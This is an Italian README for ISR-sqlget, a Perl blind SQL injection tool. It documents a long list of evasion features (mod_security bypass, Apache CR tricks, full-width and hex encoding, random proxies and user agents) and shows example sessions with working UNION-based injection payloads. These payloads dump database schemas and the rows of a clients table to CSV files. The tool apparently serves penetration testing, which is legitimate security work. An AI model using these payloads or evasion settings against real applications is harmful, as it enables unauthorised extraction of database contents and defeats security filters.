
ISR-sqlget È uno strumento di blind SQL injection sviluppato in Perl.
-- ISR - Infobyte Security Research -- | ISR-sqlget | www.infobytesec.com |
..:: DESCRIZIONE
ISR-sqlget: è uno strumento di SQL injection blind sviluppato in Perl. Consente di ottenere gli schemi dei database e le righe delle tabelle. Usando una singola GET/POST puoi accedere silenziosamente alla struttura del database e usando una singola GET/POST puoi esportare ogni riga di tabella in un file di tipo csv.
Database supportati:
- IBM DB2
- Microsoft SQL Server
- Oracle
- Postgres
- Mysql
- IBM Informix
- Sybase
- Hsqldb (www.hsqldb.org)
- Mimer (www.mimer.com)
- Pervasive (www.pervasive.com)
- Virtuoso (virtuoso.openlinksw.com)
- SQLite
- Interbase/Yaffil/Firebird (Borland)
- H2 (http://www.h2database.com)
- Mckoi (http://mckoi.com/database/)
- Ingres (http://www.ingres.com)
- MonetDB (http://www.monetdb.nl)
- MaxDB (www.mysql.com/products/maxdb/)
- ThinkSQL (http://www.thinksql.co.uk/)
- SQLBase (http://www.unify.com)
Funzionalità di evasione:
- Codifica Unicode Full-width/Half-width
- Bypass CR non standard di Apache
- Bypass di mod_security
- Trasformazione casuale delle richieste in maiuscolo
- PHP Magicquotes: codifica ogni stringa usando la funzione CHR del database o simile.
- Converti le richieste in valori esadecimali
- Evita la sostituzione dello spazio con /**/ o tab (\t)
- Evita la concatenazione non basata su || o + usando la funzione concat del database o simile.
- User-agent casuale
- Proxy-server casuale
- Ritardo casuale delle richieste
Funzionalità comuni:
- Blacklist per lo scaricamento degli schemi di database
- Supporto per array di cookie
- Supporto SSL
- Supporto proxy server
- Informazioni del database esportate in formato csv
Reporting:
- Graficazione della struttura del database per creare report esecutivi di impatto
richiede la libreria Graphviz (http://www.graphviz.org/)
..:: UTILIZZO
Lo strumento richiede le seguenti informazioni:
Le possibili azioni sono:
Primo:
1. Ottieni lo schema del database.
Poi:
2.a Ottieni le righe delle tabelle (formato csv).
2.b Ottieni lo schema grafico del database.
..:: Esempio:
Target: http://target.infobytesec.com/helloworld.php?id=
sorgente di helloworld.php:
"; while ($tr = $database->fetch_row()) { print ""; print $tr['name']; print ""; } print ""; ?>Leggi l'esempio di sessione (file di configurazione): ./helloworld.pm
Ottieni lo schema del database:
; bash# ./ISR-sqlget.pl -s -n helloworld ; -------------------------------------------------- ; Action: Get dbschema, Session name: helloworld ; -------------------------------------------------- ; ; http://target.infobytesec.com/helloworld.php?id=,id=1 union select 1,COALESCE((select nspname from pg_namespace ; where a.relnamespace =pg_namespace.oid),'0'::text)||'[]'||COALESCE(relname,'0'::text)||'[]'||COALESCE(attname,'0'::text); ; ||'[__]'||COALESCE((select typname from pg_type where oid=b.atttypid),'0'::text) from (pg_attribute b JOIN pg_class a ON ; (a.oid = b.attrelid)) where (attnum > 0 and ((a.relkind = 'r'::"char") OR (a.relkind = 's'::"char"))) --' ; from sqlite_master where type='table' --,GET ; ; bash#
Questo genera un file di schema locale in: ./template/helloworld.dbschema
Poi ottieni le righe delle tabelle:
; bash# ./ISR-sqlget.pl -d -n helloworld ;-------------------------------------------------- ;Action: Get DBDATA, Session name: helloworld ;-------------------------------------------------- ;-------------------------------------------------- ;Action: Get DBDATA, Session name: helloworld, DbSchema: helloworld.dbschema ;-------------------------------------------------- ;------------------------------------------------------------------------------------------------------------------------------------------------------ ;http://target.infobyte.com.ar/helloworld.php?id=,id=1 union all select id||'[]'||name||'[]'||address from ;company.clients --,GET ;Save source table: ./datos/helloworld.company.clients.sql.html ;Save csv table: ./datos/helloworld.company.clients.csv ;------------------------------------------------------------------------------------------------------------------------------ ;.....
Nella directory "./datos/" avrai due file per ogni tabella come segue:
[sessionname].[database].[table].sql.html # sorgente html [sessionname].[database].[table].csv # valori separati da virgola
Nota che "./datos" può essere specificato con il parametro $conf::outputdb nel file di configurazione della sessione.
..:: Avanzato
Lo strumento usa un solo tipo di colonna text/varchar/etc nella query SQL SELECT. Usando le clausole UNION puoi ottenere "in quella colonna" tutto lo schema del database usando "[__]" come delimitatore.
Quando hai già salvato lo schema del database locale, potrai:
1.a Ottenere le righe delle tabelle: Usando la stessa tecnica puoi ottenere tutte le righe di ogni tabella del database, le colonne con tipi di dati non compatibili con il testo vengono trasformate in tipo testo usando le funzioni native del database.
1.b Ottieni il grafico dello schema del database.
Lo strumento usa per ogni azione un file di configurazione della sessione. Questo file di configurazione definisce i parametri necessari per sfruttare la SQL injection. Il parametro @conf::path specifica il modo in cui l'HTML grezzo viene analizzato per lavorare con lo strumento.
Dettagli dell'help:
Usage: ./ISR-sqlget.pl [ACTION] [OPTIONS]
Action: -c: Controlla il modulo del parser -t: Ottieni la pagina di test -a: Ottieni tutti i nomi dei database (solo mssql) -s: Ottieni le strutture dei database -d: Ottieni le informazioni dei database (formato csv) -g: Grafico della struttura del database (formato gif)
Options: -n: Nome della sessione -p: (Usa con l'azione -c, specifica la pagina sorgente per controllare il modulo); Default ./template/$SESSION.testpage -v: Verbose -h: Aiuto
-t: Usando il file di sessione ottieni una breve tabella di sistema dati da usare con l'azione "-c" per fare il parsing dell'HTML grezzo in seguito.
-c: Di default usa ./template/[session-name].testpage. Viene usato per sviluppare e testare il parser dell'HTML grezzo. Puoi scegliere un altro file html usando l'opzione "-p".
-a: Tutti i motori di database usano il seguente ordine per ottenere le righe delle tabelle: 1. "-s" ottieni la struttura (salva lo schema del database in un file locale). 2. "-d" ottieni i dati delle tabelle.
A causa delle tabelle di sistema MSSQL dobbiamo aggiungere un passaggio precedente:
1. "-a" Ottieni tutti i nomi dei database di /schema/catalog (salva i nomi in un file locale).
2. "-s" ottieni la struttura (salva lo schema del database in un file locale).
3. "-d" ottieni i dati delle tabelle.
-s: ottieni la struttura (salva lo schema del database in un file locale).
-d: ottieni i dati delle tabelle.
-g: Usando il file di schema del database locale ottenuto in precedenza per ottenere lo schema grafico del database (formato gif)
-n: Specifica il nome del file di configurazione della sessione.
..:: Note
./pmschanges.txt: Usiamo una versione modificata di LWP, Net::HTTP che include metodi e specifiche CRLs Questo file spiega le modifiche.
./dbs/isr_*: Ogni modulo di database ha la variabile @space che specifica il tipo di spazio valido. Esempio: my @space=(' ',"\t","/**/"); #all spaces
..:: Opzioni del file di sessione:
@conf::path #Il parametro @conf::path specifica il modo in cui l'HTML grezzo viene analizzato per lavorare con lo strumento. #Usa codice Perl incorporato con HTML::TreeBuilder per fare il parsing dell'HTML grezzo. #La prima configurazione è un array ad albero con i nomi dei tag html necessari. L'ultimo nome di tag html viene elaborato con il codice Perl.
Vedi gli esempi in ./examples/ example[n].html session[n].pm
$conf::site #Sito in cui si trova l'applicazione vulnerabile
$conf::script #File script vulnerabile
$conf::method #Metodo 'POST', 'GET', 'HELLO', '\r\n\r\n\r\n\r\n\r\n' (bypass del metodo apache)
$conf::inj #Parametri POST/GET con le clausole UNION #Usa variabili che successivamente verranno sostituite con le informazioni dinamiche.
Variabili:
<VALUE> = Colonna usata per ottenere tutte le informazioni.
<TABLE> = Sezione delle tabelle.
<WHERE> = Sezione WHERE.
<TAIL> = L'ultima parte della frase SQL.
Esempio: "id=1') union select <VALUE>,'a' from <TABLE> <WHERE> <TAIL> --";
$conf::where #Se devi aggiungere qualche eccezione nella tabella union devi usare questo #parametro perché alcune query sulla struttura del database hanno "WHERE" incluso
$conf::tail #L'ultima parte della frase SQL. $conf::param #Stile del parametro = Post style 1, Url style 0 Stile Post= ;root@isr-slackware:~/dev# telnet localhost 80 ;Trying 127.0.0.1... ;Connected to localhost. ;Escape character is '^]'. ;GET http://site/aaa.php HTTP/1.0 ;id=aaa
Stile Url:
;root@isr-slackware:~/dev# telnet localhost 80
;Trying 127.0.0.1...
;Connected to localhost.
;Escape character is '^]'.
;GET http://site/aaa.php?id=aaa HTTP/1.0
$conf::dbtype #Backend del database
1 - Oracle
2 - Microsoft SQL Server
3 - Mysql
4 - Postgres
5 - IBM DB2
6 - Interbase/Yaffil/Firebird (Borland)
7 - Mimer (www.mimer.com)
8 - Virtuoso (virtuoso.openlinksw.com)
9 - Pervasive (www.pervasive.com)
10 - Hsqldb (www.hsqldb.org)
11 - SQLite
12 - IBM Informix
13 - Sybase
14 - H2 (http://www.h2database.com)
15 - Mckoi (http://mckoi.com/database/)
16 - Ingres (http://www.ingres.com)
17 - MonetDB (http://www.monetdb.nl)
18 - MaxDB (www.mysql.com/products/maxdb/)
19 - ThinkSQL (http://www.thinksql.co.uk/)
20 - SQLBase (http://www.unify.com)
$conf::session #Nome della sessione (Devi usare lo stesso nome del file di configurazione della sessione senza estensione .pm) $conf::outputdb #Il percorso delle righe delle tabelle esportate
######### proxy $conf::proxy_host #Esempio di supporto proxy: 'http://user:pass@host:port/'; $conf::rproxy #Proxy casuale 1 abilita o 0 disabilita $conf::rproxyfile #File proxy casuale (Usa lo stesso formato di $conf::proxy_host)
######### filtri $conf::space #Evita spazio: 0 abilita lo spazio o 1 sostituisce lo spazio ' ' con tab '\t o #2 sostituisce lo spazio ' ' con commento '/**/'
$conf::apache_espace #Puoi specificare il valore dei CR nella richiesta HTTP/s
#Esempio:
$conf::apache_espace_rnd=1; #combinazione casuale di CR 0x0b, 0x0c, 0x0d $conf::apache_espace_rmaxn=10; #Numero massimo casuale di caratteri #In questo esempio, randomizziamo i CR (0x0b, 0x0c, 0x0d) da 1 a 10: #Riferimento: http://www.osvdb.org/25837
$conf::mod_security #1 abilita il bypass di modsecurity <= 2.1.0 & (=>PHP 5.2.0||PERL||Python) #Riferimento: http://www.php-security.org/MOPB/BONUS-12-2007.html
$conf::full_width #1 abilita il bypass della codifica full-width $conf::ruseragent #1 abilita l'uso di un user agent casuale $conf::ruseragentfile #Elenco file user agent $conf::uagent #User agent predefinito $conf::delay #Ritardo tra le connessioni $conf::rdelay #1 abilita il ritardo massimo casuale tra le connessioni, usa $conf:delay come valore massimo. $conf::magicquotes #1 abilita l'evitamento di magicquotes (usa la funzione CHR o simile in ogni database) $conf::convertall_hex #1 trasforma ogni valore del parametro in formato esadecimale (%41,%61) $conf::rnd_uppercase #1 abilita la trasformazione casuale in maiuscolo.
######## filtri solo mssql $conf::scape_plas #1 abilita, usa la funzione CONCAT nel caso in cui lo script non possa ricevere '+' #(usata come concatenazione di stringhe) $conf::convertall_str #1 abilita la conversione di tutte le colonne in stringa (consigliato) $conf::scape_output_less #1 abilita Nel caso in cui lo script non possa inviare '|' usa una funzione del database per sostituirlo
######## filtri solo oracle/db2/virtuoso/h2/mckoi/ingres/monetdb/maxdb/thinksql $conf::scape_pipe #Usa la funzione CONCAT o simile nel caso in cui lo script non possa ricevere '|' (usata come concatenazione di stringhe)
$conf::deny_dbname #array che contiene i nomi dei database da non elaborare (blacklist) Valore di esempio = {'WMSYS' => 1, 'SYS' => 1 };
#Cookie $conf::cookie #1 abilita la gestione dei cookie come array @conf::cookies #array con i cookie da usare Valore di esempio = ( { version=>undef, key=>'valu1', val=>'password', path=>'', domain=>'', port=>undef, path_spec=>undef, secure=>undef, maxage=>undef, discard=>undef, rest=>undef });
#Opzioni grafiche (Maggiori informazioni nel help del modulo Perl GraphViz) $conf::graphdir = './graph/'; #La directory di destinazione dei file grafici $conf::glayout = 'dot'; $conf::grootcolor='crimson'; $conf::gdbcolor='darkgreen'; $conf::gtablecolor='olivedrab1'; $conf::gcolumncolor='lightblue2'; $conf::gcolumn=0; #0= non rappresentare le colonne 1= rappresenta le colonne
..:: REQUISITI
1 - Moduli Perl: LWP::UserAgent HTTP::Cookies; Convert::EastAsianWidth Data::Dump GraphViz
2 - Librerie Progetto GraphViz (http://www.graphviz.org/)
..:: DOWNLOAD
http://www.infobytesec.com/development.html
..:: AUTORE Francisco Amato famato+at+infobytesec+dot+com